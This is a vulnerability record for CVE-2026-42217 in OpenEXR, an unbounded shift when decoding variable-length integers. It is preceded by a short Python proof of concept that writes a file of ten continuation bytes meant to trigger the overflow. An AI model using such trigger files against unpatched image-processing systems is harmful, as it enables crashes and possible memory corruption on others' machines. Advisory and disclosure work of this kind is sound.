CVE-2026-42217

import struct # PoC to generate bytes triggering the shift overflow. # This constructs a variable length integer that causes a shift > 64. # The specific byte sequence depends on OpenEXR's implementation, # typically involving a series of continuation bytes (0x80) followed by data. # Create a payload with enough continuation bytes to force a large shift. # Assuming the implementation shifts 'value' by 7 for each continuation byte. # To shift by 70, we need enough bytes. payload_bytes = b'' # 10 continuation bytes * 7 bits = 70 bits shift for _ in range(10): payload_bytes += b'\x80' payload_bytes += b'\x00' # Final byte with open('crash_exr.exr', 'wb') as f: # Note: This is a raw payload. In a real scenario, it must be embedded # into a valid EXR file structure (header, attributes, offset table). # For demonstration, we write the raw bytes that trigger the logic. f.write(payload_bytes) print("PoC file generated: crash_exr.exr")

{"cve": {"id": "CVE-2026-42217", "sourceIdentifier": "[email protected]", "published": "2026-05-07T04:16:34.387", "lastModified": "2026-05-08T17:01:46.713", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From versions 3.0.0 to before 3.2.9, 3.3.0 to before 3.3.11, and 3.4.0 to before 3.4.11, readVariableLengthInteger() decodes a variable-length integer from untrusted EXR input without bounding the shift count. After enough continuation bytes, the code executes a left shift by 70 on a 64-bit value, which is undefined behavior. This issue has been patched in versions 3.2.9, 3.3.11, and 3.4.11."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.2.9", "matchCriteriaId": "8CDF6C2E-6EC4-4383-8198-3769409030E6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.3.0", "versionEndExcluding": "3.3.11", "matchCriteriaId": "8023AC7C-E2D1-4626-A4CC-585672ABAA66"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.4.0", "versionEndExcluding": "3.4.11", "matchCriteriaId": "079D2FDB-45A0-4382-8EFC-E95EA7430D0D"}]}]}], "references": [{"url": "https://github.com/AcademySoftwareFoundation/openexr/commit/21eaa33bcbbb0c83a5fc42f6b6d65b70a996e63c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/AcademySoftwareFoundation/openexr/pull/2378", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-3c67-4wwp-w52m", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory", "Mitigation"]}]}}